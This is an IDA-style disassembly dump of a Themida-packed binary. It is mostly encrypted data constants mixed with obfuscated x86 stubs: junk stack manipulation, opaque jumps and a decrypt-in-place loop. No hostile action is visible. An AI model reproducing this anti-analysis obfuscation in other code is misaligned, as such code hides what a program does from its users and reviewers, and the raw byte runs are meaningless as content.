0F438F181h dd 91CA5B0Dh, 0DCBDB528h, 484B7743h, 560F61A2h, 74B8415h dd 44B770F8h, 86B9804Ch, 2D0656EAh, 1048D92Ah, 0C4FD9623h dd 20E67F80h, 0C7589952h, 0DECF9AF6h, 3EC12A2Ch, 0D5BA4F8h dd 2DCE9D31h, 0FE8F202Ah, 6A96EA2Dh, 1464C800h, 1D2DAF25h dd 0C7C8E0E4h, 62FE8104h, 2A2D5FCEh, 0FB87C051h, 34141C04h dd 0DD31F485h, 4DB34723h, 1D71E41Dh, 0A4B889E9h, 79F90D62h dd 0BC901FE8h, 9611E6AEh, 0AA048h, 0D65A700h, 90DA283Ch dd 1555ABBFh, 97D13044h, 1E54B2C6h, 0A683384Dh, 2D411260h dd 0B5C99AD6h, 3B4F2050h, 71D3A4C4h, 0B4FC902Ch, 217F3046h dd 452DD9D1h, 9AD82E82h, 33CCE061h, 0D9166435h, 45894226h dd 0AA9607BAh, 0E1E8DBD9h, 14617F50h, 91000004h, 0C6DEA0C4h dd 836602C5h, 63416ACh, 0BFD79D75h, 942545BBh, 0C89435D1h dd 0C1F93A29h, 0A8D67807h, 0CA831450h, 3A6DA63Eh, 0A2C8382Ah dd 0C5CA5E9h, 76F05453h, 6D8216B2h, 6CFD2A3Ah, 4C4489DBh dd 0E9E64E2Bh, 4C26E06Ch, 88C15293h, 4CEF72F4h, 3F69A070h dd 373h, 0A956AA41h, 62FA86BFh, 0AC2A2CF9h, 2A2CFA1Dh dd 0FFC2C3DBh, 10204E63h, 713ACB34h, 0E6AC7738h, 0CE1C6AE5h dd 79000009h, 0FA0EDF93h, 7D916208h, 216E783h, 849869FFh dd 0A1FF082h, 0E48E78D5h, 6C04FF13h, 0F27E879Bh, 76F20D21h dd 62FE43A5h, 3046B5CEh, 0D9A3F351h, 85894226h, 26A96C6Dh dd 0F97307A3h, 33F62A2Ch, 2CFA0397h, 64F5862Ah, 0AC419F2Bh dd 0B7483416h, 761A0F4h, 61794DCEh, 11CAA65Dh, 0E07C3FD0h dd 3A305986h, 0E539FC8Dh, 2581521Eh, 2A2C06B5h, 95717587h dd 677B4CDDh, 0D71BD49Ch, 297D4028h, 9ADB94DCh, 0DCF4F861h dd 2B7C18DBh, 1E341006h, 6FC1C48Dh, 0F8AE6ACh, 930C1h dd 7DF51700h, 6A98ACh, 85E51B2Fh, 761A0B4h, 8EE42236h dd 1673A8BDh, 9DB182F0h, 25390A66h, 0ABBF90E0h, 0E1431454h dd 0B66C009Ch, 91EF3046h, 11941h, 0AC47A13Dh, 39CA3416h dd 8FE12276h, 0DF8978CCh, 0F21125A6h, 132680D7h, 1FB08776h dd 494A6266h, 6A8CEA86h, 0EE7F3A30h, 18193135h, 877ED255h dd 3324B0E9h, 9634103Bh, 70A9BF42h, 0D6C38C1Dh, 0CFE6AC4Ch dd 8B30654h, 78940000h, 0ED1529FAh, 6898AC7Dh, 0E41D3102h dd 679FB384h, 0F0253A0Bh, 2EFF7393h, 0B687E91Ah, 3C0D63A2h dd 0C091D728h, 0E97D195Eh, 643046B6h, 56AAB606h, 468AC3ADh dd 0A9B208B9h, 82B208C3h, 0BF438F1h, 1A78CFB6h, 0E44F87E9h dd 0F4AD3EA4h, 82D591F5h, 0D428EB7Dh, 83043D2Bh, 581AEC40h dd 0B542E51Fh, 0C8356993h, 42000001h, 215A18EEh, 0AD56AAA3h dd 90C90AC3h, 0B073748Ch, 1004B314h, 8C45D634h, 0B6312119h dd 4AC9D204h, 0EAED8511h, 7CC13041h, 0EAC95DF9h, 88243041h dd 3041EAF4h, 0B243E677h, 0EABF53EFh, 0A93A3041h, 0D79ADC70h dd 6FA80934h, 17A27h, 26D92900h, 1E168942h, 79311164h dd 76BAF388h, 3A0EDF89h, 89E71E22h, 0B09935F8h, 0D534105Bh dd 67FF8B44h, 0F93040FAh, 69AD660Ah, 0D417D098h, 92E476F0h dd 84274A2Ch, 776FA719h, 4Ah, 11979h, 0AA19E93Dh, 0CCDA3C1Bh dd 265FF0AFh, 26DE17B3h, 12A33410h, 1735CD59h, 3AC73041h dd 0CE31752Eh, 7EE2E19Ah, 0DB2072F8h, 0B7F07887h, 7B1E4323h dd 6E6FA739h, 0D0h, 5FA4F87Bh, 0AA13511h, 8B1C3041h, 26D9D452h dd 0C1458942h, 285F8B1h, 2CF9D266h, 83BC4D2Ah, 0EFA8C03Fh dd 431454ABh, 48A50800h, 403CD8E8h, 92187B07h, 0CE512A2Ch dd 2D619E32h, 5790212Ah, 524AEC13h, 0F7F9E98Ch, 0CD613D0Eh dd 502A2D9Dh, 895D2EBFh, 59AD7071h, 1588C1A9h, 145A8279h dd 0B3760734h, 0FACBA75Fh, 0CA9E63B7h, 0B9B94D91h, 0AE7D99F0h dd 418F0AE6h, 705h, 0D7A8CA42h, 5A2B3FC3h, 0DFB0BA46h dd 613236CBh, 0E8B9B94Dh, 0C5412ED3h, 3BC8DCADh, 0B5506435h dd 29D6EABBh, 0C70C6E3Fh, 46B8972Bh, 64B41230h, 97FFB2AAh dd 0CA13A743h, 5962A2Dh, 3CBADECDh, 2B47BF03h, 0F894175Ah dd 2A2DEB64h, 0D91D56E7h, 23714226h, 0D79B26D9h, 0C6A45EEFh dd 20D4FC8Eh, 8778CC8Fh, 0CC3FA8E1h, 0BB19AD49h, 3942A2Dh dd 0BB10A440h, 0FA8B2A2Dh, 0E6827DC1h, 49F715h, 0C4270000h dd 0B44CA06Fh, 4CB9FDB6h, 992A6B24h, 43445C60h, 0AB88E480h dd 0F2833416h, 7091E51Ah, 5C66BFF8h dd 0C7A35FB3h, 9094CD0Eh, 0BCB47778h, 6997BFFEh, 279AD30Eh dd 30642E8Bh, 724ADB3Ah, 5018E93Dh, 5FC917h, 0AAF90000h dd 9C2B056h, 738B8FC8h, 6E13AF72h, 0B341007h, 9D63B77Ah dd 9F2B94CDh, 3040EC00h, 0C982E818h, 17EF7E85h, 0D061A25Bh dd 9DD9EF17h, 294D23CDh, 0A265667Eh, 0FBF46106h, 5EA8FC2Dh dd 0E8B246E2h, 9C2D2A2Ch, 706A520Bh, 0D986BDC8h, 0D72A63F4h dd 0D62F8346h, 0C2E0619Ah, 9Eh, 119F2h, 0ACBFA13Dh, 0B1423416h dd 121BA7D0h, 8629482Eh, 796FACCAh, 76h, 1197Bh, 0ACBEA13Dh dd 0B2433416h, 241AA8D1h, 93D790E2h, 0E943FC6Ch, 62075313h dd 0D679F87Eh, 0C96FACCAh, 4Eh, 0FD0119CBh, 13D66703h dd 0A6C43C90h, 3CD0ACEDh, 0BF2A2CFAh, 0E682F52Eh, 3416AB8Ah dd 3931F485h, 5AB73014h, 0A9BD402h, 0DB8F73C7h, 4FA8E122h dd 3337CB73h, 0A1CF367Ah, 0E185E9E8h, 50E18F76h, 0C2AFC7ABh dd 6FAC4A1Fh, 0D12h, 4C911400h, 432A2C1Dh, 0FFFF06A5h dd 27AAD5FFh, 2CF9F78Bh, 0A8E1722Ah, 0C88B8CA4h, 16AC1E2Ch dd 1C756D34h, 7A546794h, 0FA3285BEh, 6B289C65h, 4B1DE2ADh dd 6C7029BAh, 0D905354h, 53DD4015h, 2E671A55h, 2FEE45A2h dd 0FEB7483Ah, 1EE1E2FAh, 17987882h, 0A76AFB34h, 3B35D024h dd 99C0C603h, 8417FFBh, 692C3EC4h, 0D5CCA671h, 0DD294EFEh dd 0A5410495h, 30464011h, 41C2FB8Ch, 9154556Dh, 2FF19BF5h dd 4A0D9E3Ah, 0E1972BC7h, 81122A2Dh, 8481D548h, 5ABF1BECh dd 7FC20495h, 0CA9AC787h, 43BFC05Ah, 9C2D6E27h, 88E01F63h dd 0C5CA3B7h, 36374F53h, 0C054F073h, 4AC253D9h, 0BBFCB5BBh dd 0DB4E8718h, 70020458h, 0FEEAB37h, 433BCC37h, 20B1C7DEh dd 0E619AC1h, 0A79CC47Dh, 0FAF48824h, 0E677C85Eh, 0A5D19ADh dd 8EA273F5h, 0FC40F977h, 68AB6406h, 9075E284h, 0FE9A1DE0h dd 0C85EFA6Ah, 0F59154E5h, 0C85EFA61h, 91124BDCh, 2FE8887Dh dd 4066EED6h, 9CD43126h, 197DCBh, 0FB044801h, 0B387E2C6h dd 68F9FE7Fh, 31986BAFh, 3014A741h, 0BE770871h, 2EE7897Ah dd 0E176F006h, 0D2BD4E22h, 4840F87Eh, 0B4A2FBCFh, 0EBEF28FCh dd 654E2CD2h, 79F8BF07h, 0FC0317E8h, 52B1A96Ch, 0C5CA5EAh dd 5CC14CD4h, 5A699223h, 934C1EE4h, 0BEF08420h, 0DA6B2A2Dh dd 53AFC046h, 0CECD8617h, 0D5E0C6Ah, 659ACDA9h, 0DD252B03h dd 39F2788Ah, 22AE67F8h, 2A2DBE8Eh, 1740263Ch, 9AAE7FEBh dd 0C04C056Bh, 2A2DBF27h, 3CC5199Ch, 0F932732Ch, 0AF560165h dd 0C394F0C1h, 0D52A2CDEh, 46874030h, 0FD892BB5h, 537A6993h dd 7CFFFFFFh, 0F78B27AAh, 722A2CF9h, 0B4B44DE1h, 0A0C8377Bh dd 0C8388CCFh, 4E2803FBh, 0A7386B04h, 0EA75ADEEh, 799E99B6h dd 0E8175B94h, 271EB24Eh, 10A12A2Dh, 9768BC7Fh, 266F039Fh dd 59EA2A2Dh, 0EAFE8FC8h, 6B725315h, 0B7481F57h, 3ADDD9B1h dd 2D699349h, 4Eh, 1192Fh, 0AC44A13Dh, 0B8493416h, 2915AED7h dd 94D891D9h, 0ED470072h, 840B5F17h, 0A4C43D91h, 0DD71AAEBh dd 0F5F60E99h, 5A399632h, 31B43A30h, 2CFA0195h, 57EB7C2Ah dd 388BC4ACh, 179ACFA7h, 2CF9E77Bh, 98D1622Ah, 374Ah, 1197A00h dd 17E93D00h, 49D91B53h, 1C9BDCBCh, 77D470E3h, 1234177Fh dd 9B6ABE81h, 0E20B9CD5h, 0C4A238DEh, 0F7BABBD3h, 540D5DA3h dd 0CB67DA13h, 3A30296Eh, 72B28A1Bh, 289B26D9h, 5A646BC0h dd 198C45D6h, 60FC3AC5h, 2A2D5BCCh, 0F42DBE4Fh, 48194FB0h dd 985B5C74h, 108C13FCh, 22E57634h, 3937CEh, 4B730B97h dd 0E1473041h, 6A39DC85h, 0EEE66FA7h, 0E97B5DEh, 0C2EF2852h dd 44h, 0E78B7BCFh, 0B2AA30AEh, 3BF9794Ch, 0C4C8015Dh dd 4CE8ABACh, 34107213h, 800CC556h, 304141E8h, 28E1877Ah dd 0B9A71CE4h, 9C247C61h, 86CA8314h, 6E44EE7Ch, 0AA106208h dd 0BE02A5CCh, 0BEF56FA7h, 0F7000000h, 894226D9h, 0F8B1C145h dd 9CD43185h, 88E01F63h, 0F1748BCFh, 5FA05911h, 0C2BAFDCEh dd 0F7FE8C6Fh, 800C459Dh, 2A2CDB2Dh, 0DBACBC43h, 0B1BF4498h dd 9DCB3478h, 0C7C8E0E4h, 0FB0F6804h, 81123410h, 4EEA6DB0h dd 3041DABAh, 676BA435h, 378B4E4Fh, 0A4E59ECAh, 635CF86Bh dd 0A63A2892h, 8FE5215h, 3DCE9A67h, 0F142827Ah, 0D6206453h dd 0FE081C9Dh, 3BCAAB74h, 48C3E0BAh, 1A4FAh, 969A300h dd 8CDE2438h, 1159A7BBh, 93D52C40h, 1A58AEC2h, 0A28F3449h dd 293D0E64h, 0B1C596DAh, 374B1C54h, 6DCFA0C8h, 0BDF88C28h dd 15733046h, 9E2DD9C5h, 106F88Fh, 0D9AA3BB6h, 5D2E3AC5h dd 0AD56AA0Fh, 90C90AC3h, 0B073748Ch, 3CC4A95Ch, 0A3E49D2Eh dd 0C37CF40Fh, 3AD64982h, 34102001h, 0AE3AF384h, 30411416h dd 8622A5EAh, 304113F2h, 0D11940D8h, 40E38EC9h, 0AD4DE17Dh dd 3FD03041h, 85E175AEh, 0A7D039DCh, 0B72C6Fh, 0D92E0000h dd 2B7F4226h, 98D992D6h, 2F83F65Fh, 9EDF98D0h, 8DE52165h dd 5F548D4h, 847B2A2Ch, 0FF13E4h, 8622A568h, 2A2CFDF2h dd 3AA3DC6Dh, 5A1D1E36h, 102E65BEh, 8657E834h, 0D6999AB2h dd 6B07FF53h, 0E9CCA632h, 0BE4F3A27h, 135FA7FBh, 9AD82E42h dd 0BAEDEAD1h, 0F644BFE0h, 0B9h, 23F47E8Eh, 0A677F30Fh dd 2BFC6E92h, 0AD7EEA17h, 34056D99h, 798DFA1Fh, 0EF1428F9h dd 699CB081h, 0DD223607h, 1358BA8Bh, 46BEE377h, 0B8086630h dd 0F78B27AAh, 722A2CF9h, 0BAB64DE1h, 0A9C93D81h, 2D3BC4D8h dd 7EEF166Ah, 0EE2FE882h, 2B63A45Dh, 0E479BDB6h, 94154E4Bh dd 4226D946h, 0AEBA4589h, 0BB469ADDh, 0CF3074ADh, 285C899h dd 2CF9D266h, 83BC4D2Ah, 0EFA8C03Fh, 0FE304863h, 31358935h dd 0BE8FD926h, 108E837Bh, 0E03AEAE1h, 0CC9C63A7h, 1F4BB509h dd 0C8397DE6h, 0A9BFE7A0h, 3659ACDh, 0E0E11E32h, 0E61C3A49h dd 0CC556D2h, 8BEh, 61A5F900h, 0AB5AD811h, 3F33D91Bh, 0ABBD4286h dd 1957AEF2h, 89E71C60h, 0F87A8CD0h, 670BFB3Fh, 0D1976AAEh dd 3E2CD418h, 0A9C14185h, 8951EAF0h, 4C181E1h, 83000000h dd 0C8704E9h, 3C895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 1BCEh mov [esp], edx push ebp mov ebp, 619B0AAh push ebx mov ebx, ebp mov esi, ebx pop ebx pop ebp push esp mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], esi pop dword ptr [edx+8] push dword ptr [esp] pop edx add esp, 4 mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_55D2A6 ; --------------------------------------------------------------------------- push edx sahf pop ss cdq pop edx mov esi, 2012AF5Bh push eax inc ebx mov eax, 619C693h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 1Dh dd 13284306h, 0D8153663h, 3039EA4Ah, 0DC0378F1h, 0E16C6215h dd 0A510BFACh, 0E937D299h, 0DF7BDFE1h, 4F019F8Bh, 0AD0ACB39h dd 0AA7A276Bh, 6C74DB8Ah, 0CF7EA29Bh, 0AE25C532h, 0AC0BD7E8h dd 0BA01F82Fh, 0FE6C8907h, 926D34D9h, 486E4FE1h, 80088AE7h dd 0CD49DF91h, 5138CA74h, 5C096FD1h, 62DAAD0h, 0C37B2CBh dd 0CC10A487h, 8D100E11h, 19C8838Dh, 8E906h, 798D0000h dd 699FE2CCh, 8D896847h, 6143229h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 49C35242h, 0B6B60AB8h, 72DEEB81h dd 89606BA4h, 1425158Dh, 615B5006h, 64D85C7h, 5D9C0614h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0D4F9F2C3h, 85C7CE3Fh, 6142671h, 0 dd 10E8h, 22352400h, 9F2CA278h, 0F394CE33h, 0FBFF6158h dd 8F8CB838h, 0FF5F3674h, 1406A5B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0C129A97Eh dd 8B66A47Bh, 0FF08BD8h, 68Eh, 25B58900h, 0FF06141Ch, 14236195h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0FD852999h, 6A06141Ch, 6995FF00h ; --------------------------------------------------------------------------- loc_5A5460: ; DATA XREF: Themida_:0054B0F4o adc [esi+eax], edx mov eax, eax jmp short loc_5A5485 ; --------------------------------------------------------------------------- db 9Ah ; --------------------------------------------------------------------------- shr byte ptr [ebp+ecx*4+6Ch], 1 cmp [ebp+61h], ah add bh, [ecx+0A59FE23h] popf push eax cmpsb cmp ah, dl lea edx, [edx-11B6BFCBh] fld qword ptr [ebp-19h] db 36h cli loc_5A5485: ; CODE XREF: Themida_:005A5465j call sub_5A5496 ; --------------------------------------------------------------------------- dw 4638h dd 1F6E797Fh, 648579F4h db 57h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5A5496 proc near ; CODE XREF: Themida_:loc_5A5485p mov cx, 4E45h pop ebx mov ch, 0C2h add ebx, 6D89h mov esi, 0 pusha add di, 9433h sub [ebp+614069Dh], edx popa loc_5A54B5: ; CODE XREF: sub_5A552C+24j push dword ptr [esi+ebx] movzx eax, ax pop edx pusha jg loc_5A54C9 jns $+6 loc_5A54C9: ; CODE XREF: sub_5A5496+27j jl loc_5A54DD jmp loc_5A54DD ; --------------------------------------------------------------------------- dd 9561CE16h, 0A0AF9972h ; --------------------------------------------------------------------------- pop ecx loc_5A54DD: ; CODE XREF: sub_5A5496:loc_5A54C9j ; sub_5A5496+39j popa add edx, 582A25F4h add [ebp+6142B45h], esi add edx, 3E9535A0h mov ecx, [ebp+6140FF5h] sub edx, 43CAADB4h mov cx, 6605h push edx jbe loc_5A550D mov [ebp+6140B79h], eax loc_5A550D: ; CODE XREF: sub_5A5496+6Bj pop dword ptr [ebx+esi] mov [ebp+6141165h], edx call near ptr sub_5A552C pop esi add ah, [eax] mov al, ds:0E8159E20h mov eax, 9F975DA3h hlt sub_5A5496 endp ; sp-analysis failed ; --------------------------------------------------------------------------- stc mov dh, 0DBh ; =============== S U B R O U T I N E ======================================= sub_5A552C proc far ; CODE XREF: sub_5A5496+80p var_3FA35F1A = dword ptr -3FA35F1Ah cmc pop edi sub esi, 6B4A6AF5h xor [ebp+6143435h], esi add esi, 6B4A6AF1h pusha and al, 65h mov ecx, 7F8A312Ah popa cmp esi, 0FFFF9344h jnz loc_5A54B5 mov edi, 2BF6A3D1h jmp loc_5A5592 ; --------------------------------------------------------------------------- dd 6CE8EDF0h, 0Bh dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A5592: ; CODE XREF: sub_5A552C+2Fj jmp loc_5A6186 ; --------------------------------------------------------------------------- push 619CB45h jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 619CC48h jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 619CE01h jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 619CED9h jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 619D1C3h jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 619D331h jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 619D43Dh jmp loc_55D2A6 ; --------------------------------------------------------------------------- xlat xor eax, 0AA586C3Dh shr bh, 0DBh and eax, 0A1607445h mov esi, 7D4E24E2h push 4230D6B3h jno short locret_5A5655 cmpsb retf 0E5F9h ; --------------------------------------------------------------------------- and [eax+7Fh], dl imul edx, [esp+edx*8+1Ch+var_3FA35F1A+1], 2Ch retn ; --------------------------------------------------------------------------- dd 51AF3046h, 4226D901h, 94D42B7Fh, 51AEF25Bh, 5A724617h dd 11FA9659h, 5434102Ah, 896B085Ch, 75AEAA84h, 4CD89122h dd 3041D5B4h, 1D442288h, 6FA7F47Ah, 516Dh, 0E0267A00h dd 5F98D992h, 119E1h, 9B71453Dh, 66FAAF04h ; --------------------------------------------------------------------------- cdq locret_5A5655: ; CODE XREF: sub_5A552C+CAj iret ; --------------------------------------------------------------------------- push ss aad 44h or ebx, [eax+10ABC3FCh] xor al, 0C6h xor eax, 4DB5097Ch jmp short loc_5A56B7 ; --------------------------------------------------------------------------- dd 30418FBBh, 0E31CAD3Eh, 418FBF57h, 0BBB25130h, 0DD96274Bh dd 49026699h, 0DA80E64Ah, 1D442288h, 6FA7B27Ah, 0EB6Dh dd 26D96F00h, 0C1458942h, 4BB4F8B1h, 0DF20641Dh, 0F275B889h dd 2CF9C256h, 73AC3D2Ah, 2C05B2E7h, 2F39C62Ah db 5Eh, 4Ah, 0B5h ; --------------------------------------------------------------------------- loc_5A56B7: ; CODE XREF: sub_5A552C+13Aj mov bl, 0FAh xchg ecx, [edi-7D5B3F0Fh] mov al, 0FAh sar dword ptr [ebp+45E1A4A5h], 74h and eax, 68F93410h xchg eax, edi retn ; --------------------------------------------------------------------------- db 0ABh dd 6E93E7AAh, 0B24EC1FAh, 3A27CD50h, 5AE41FB3h, 2FA52ABEh dd 8314A52Ah, 2ADB2FF2h, 179A0D46h, 0F22A3EC3h, 6E036E52h dd 2B6FA85Ch, 80D497DBh, 891DB985h, 42A2F0Dh, 4129E273h dd 44319062h, 0D40D9E26h, 0ABC73F53h, 0BA0AE3E2h, 5FAD28E0h dd 9C8h, 0B384EE1Eh, 3607639Fh, 0BB8CDE22h, 3D0E5AA7h dd 0C495DD29h, 0E91D0AAFh, 5FA4B889h, 0D92C4011h, 4DB2C697h dd 0A3E84A1Bh, 46C47307h, 4898F630h, 7D9E2DD9h, 603C182Eh dd 7E9263F4h, 4D22E481h, 9728B9B9h, 0BA8680D4h, 2D508A1Eh dd 0E374052Ah, 0FFB8B04Fh, 0B60485BEh, 3D000119h, 102068A1h dd 0A35CED34h, 41137F17h, 160E5330h, 3E32B663h, 0E97DB683h dd 3F41E48Dh, 0D2346FA7h, 36000000h, 0F78B27AAh, 0DD2A2CF9h dd 0EC25F86Eh, 27BB5E6Eh, 0CA0394DCh, 36EF7986h, 9B5E14F2h dd 0ECAFBB47h, 2D40BC50h, 75AE3F2Ah, 4D4B800Ch, 0E21D2A2Ch dd 5EA1B586h, 6D3D2263h, 5CED010Fh, 86879FA3h, 0D85627C3h dd 3ACB3410h, 2DD22669h, 0E9A2C838h, 1D5E17A8h, 0C7C8E0E4h dd 58F76804h, 0D66A3A28h, 0EDB0412Fh, 42056D99h, 1D5614EEh dd 0FC05599Ch, 3972B36Ch, 986111F5h, 0E0BA034Bh, 0C59BE964h dd 21000008h, 0A2B687EBh, 25390A60h, 0AABE8FDBh, 2C401157h dd 0B2C798DAh, 8CE6200Dh, 145CA7BBh, 9AD62F43h, 1E4AB5C9h dd 0AA6EB4Dh, 3046C576h, 0AA4B9BF9h, 478376B2h, 2F68CB2Eh dd 94571BEBh, 8304C540h, 0C0990E51h, 38B9F283h, 0BC8DDB24h dd 3F26D96Eh, 8F0A9C1h, 9A6D7C1Ch, 5EEF80A0h, 82BC479Bh dd 2D8F52E6h, 0AB3CCD2Ah, 1B55AEF2h, 57902162h, 1055AAEEh dd 18E97AF0h, 0EC8481D5h, 0B5B9F233h, 3DD99C9Dh, 3410B4A4h dd 9BDF9829h, 1F330464h, 43CF88E0h, 0CDB4B3D1h, 6DFA7CD0h dd 0F105D692h, 0C0A8570Eh, 0ED186C2Fh, 55E14A83h, 0BFBDA5BCh dd 4FE5295h, 24FC2E66h, 8DD927B9h, 0B1A6C054h, 35491A4Eh dd 59E59ECAh, 0BFBDE236h, 5F086E44h, 0E3F7C8A0h, 20934C1Ch dd 7A3335CCh, 488C0139h, 0D33A59DFh, 7D7E969Ah, 0CF9966BAh dd 0EDA6CA3Bh, 7D0073ACh, 798DD829h, 6EFF40F9h, 8ED0A935h dd 0C4559E7Fh, 912DB0F3h, 96A882FDh, 0B2B6EF80h, 53D6999Ah dd 0A88323B7h, 0DC15A696h, 0A180CD69h, 5CEDA08Bh, 947E17A3h dd 0EE12949Ch, 867FC37Ch, 1D731EAh, 3DA3F565h, 57ABFF39h dd 0FDA0DA13h, 0F0D402B2h, 487h, 2658C4F2h, 0AE4A0D0Eh dd 34101FEDh, 0B80CCF60h, 2A6B244Eh, 3C3469F1h, 6888D1CDh dd 0F83E29E9h, 0EFA67CB4h, 0D0D15D96h, 841370EEh, 0CA86B6Ch dd 0EEBFD6Fh, 4C50099Ah, 9CD63034h, 4E11A2E3h, 0E03427B2h dd 2E726A10h, 0A0885F03h, 65F64982h, 38CB1FA2h, 0E9A2CE35h dd 1D5E17A8h, 95FA0E4h, 8DDB2438h, 6382ADC4h, 4D9B163Ah dd 70Ch, 6F4032DAh, 0F2C3A75Bh, 774822DEh, 0F9CA9E63h dd 805121E5h, 2DD9B66Bh, 0A3607445h, 1DE8FCCDh, 916E8253h dd 5FA406D7h, 46C82FC3h, 0FC4CAA30h, 894226D9h, 0DEAFBB45h dd 0CBC0h, 56AAF000h, 5FF38FAFh, 0DA2A2CF9h, 0BEFFB849h dd 68628185h, 6344D59Bh, 3335CC20h, 52DBA1FAh, 0DC30086Eh dd 0E77B1727h, 622A2CF9h, 468740D1h, 0F953E783h, 45D62A2Ch dd 182FD20Ch, 42226993h, 24000000h, 4003FA19h, 2CFA0BA4h dd 44FD8E2Ah, 9869FF00h, 1CEA7B84h, 80CC556h, 902CEFF0h dd 341037F3h, 43D773F6h, 0C630412Bh, 18A9FC35h, 7FF75D5Fh dd 0A7434FF2h, 7426Fh, 0CF440000h, 0E0h, 119FFh, 0E08A13Dh dd 0FC8D3410h, 0AC181233h, 0A2F06BE6h, 634h, 47185AB2h dd 0CA9BCF33h, 4F204AB6h, 0D1A2C63Bh, 582949BDh, 55B19E43h dd 0CB384C1Dh, 45C0D4A5h, 0B9465A2Bh, 377CDEAFh, 46C8079Bh dd 0D4248230h, 1CAD56AAh, 0AD18807Dh, 3DF687A3h, 0CF6008F9h dd 7C739296h, 0F23B729Bh, 6609680Eh, 596993B7h, 4Dh, 0FA195Bh dd 18DB6C06h, 0ABBF4195h, 41D5B1F2h, 0BC2A2CFAh, 61F5F32Bh dd 0C2554AA0h, 0DCCFF889h, 68096D51h, 699389C5h, 20B8h dd 0FA19BA00h, 8BF92203h, 67B8BEA2h, 2A2C01D0h, 0B154A86Bh dd 0AA4C86BFh, 9B699320h, 0FFFFFEC6h, 0FA199Dh, 6CB069FFh dd 0DB1CD593h, 0AFD8B94Ah, 0F27458D5h, 0D69A3E36h, 644D123Bh dd 954EF12Bh, 78416993h, 43000002h, 8C452DD9h, 0C1429619h dd 0D9B5F6AFh, 2A2CFA45h, 0BAFE37C8h, 0DB5E2147h, 2CF9AB3Fh dd 649D2E2Ah, 224EB7FBh, 8EDA2569h, 0DF97ADD5h, 60F17788h dd 12452175h, 7C0FD7F4h, 4531082h, 788EA273h, 253D41FAh dd 74C56124h, 0F934106Dh, 33CF9E65h, 5C15A637h, 0E0581E34h dd 5D2DC15Dh, 47BF3041h, 8E31722Bh, 8680C4FDh, 5C8A1EBAh dd 74053041h, 8FE12E3h, 8D25B16Ah, 64304069h, 3838CD21h dd 2D0B6BFFh, 20197535h, 8281F60Ch, 0E0245DEEh, 677B4C26h dd 161AD39Fh, 0BD06FAFEh, 0A13B1698h, 0F98A1BE0h, 19399A36h dd 144C3A24h, 69CEC5C3h, 7410D32Bh, 2A2D8CE0h, 6839CA5Bh dd 382FD125h, 0A6E7A0CAh, 0C0D8DC15h, 8760FCBFh, 8A341097h dd 89972BC7h, 81123041h, 2AD92DF0h, 53E78346h, 0D6304189h dd 30A30C45h, 0A4325DCh, 4189EA7Eh, 1155B930h, 0AA6D6E86h dd 2494350Eh, 0D6A7383Ah, 0E30C9B93h, 911E9A87h, 346CFD75h dd 6305033Ch, 5CA0D9BFh, 0AE02C5A3h, 1B5C1553h, 0B20679E2h dd 21651E54h, 91D28BDFh, 0DA13D00h, 902A2D81h, 7D82C6FFh dd 2E461AEBh, 0EFE76A2Dh, 0D553FC00h, 8824E7C4h, 2A2DF2F4h dd 21ADE677h, 34112338h, 0E7732CBDh, 3041C24Fh, 8F4820E1h dd 0F9B2B64Bh, 8AD096FAh, 9494D238h, 73ACC640h, 0A7E19639h dd 49896Fh, 198B0000h, 0BA3D0001h, 2CF98A1Eh, 3B74052Ah dd 1FF32CC8h, 0E5763410h, 8DCB2A22h, 0DE97D12Eh, 0C693659Dh dd 5CED7B86h, 962EBA23h, 6A3041F7h, 0CEC66204h, 2EBD2F38h dd 7F88C83h, 2E67A861h, 0A7CF51F4h, 0B0446Fh, 0D9460000h dd 45894226h, 2750AC1h, 0B80540F8h, 0D52A6E27h, 0C8D8D093h dd 5919ED20h, 22275FA0h, 0EA538C42h, 8BDF2377h, 77F10E52h dd 0F20F63A6h, 7CB13D76h, 102A2C78h, 0D4A879EFh, 5CF8BBBCh dd 34142C65h, 79EF10A4h, 0AAA225E8h, 0ED9183C4h, 0CA0E4748h dd 5165363Ch, 0C9F4BDB5h, 0E2E6AE69h, 34A1967h, 709C0000h dd 0E51D3102h, 60A0B485h, 0DC25390Ah, 5FA7BB8Ch, 882D4213h dd 36076B9Bh, 0BE8FE122h, 44155BAAh, 0C899CF30h, 0F1852166h dd 6C3046CAh, 2DD9BE0Eh, 0CF4BC69Eh, 18A9378Fh, 99CC3347h dd 0AF720367h, 4CCC89B7h, 3C751043h, 26D96DBBh, 0BA458942h dd 0D98FDDAEh, 0FC7F4226h, 2CF9CC60h, 85BE4F2Ah, 4127D81Ch dd 0CB5FFB7Eh, 0B92A2CF9h, 1CFBAE58h, 0AA3BDEBAh, 41CF071h dd 0BBA44003h, 3E341117h, 60F81506h, 89782C81h, 4BD4EDFh dd 4153E078h, 284EB430h, 0A772A649h, 7FF536Fh, 3871B26Bh dd 2A0Bh, 1190D00h, 68A13D00h, 0CD341020h, 141AAE4Ah, 4953041h dd 2EE778CBh, 41140AA2h, 0FE78DE30h, 0A736D073h, 0E3C36Fh dd 0D9C50000h, 45894226h, 0B4F8B1C1h, 65A1D4Bh, 78B97200h dd 6D92D63Fh, 64E72AFBh, 2CFA34C8h, 0ED26B72Ah, 2C062C61h dd 0A6BF402Ah, 1758115Fh, 0C1EA6EDFh, 9B2C11F6h, 1F49B6CAh dd 6FF9085Ch, 0D33C75B6h, 4DB3B7CFh, 2DC98C1Dh, 34105ED4h dd 4F1BE539h, 0C91C5596h, 7B936738h, 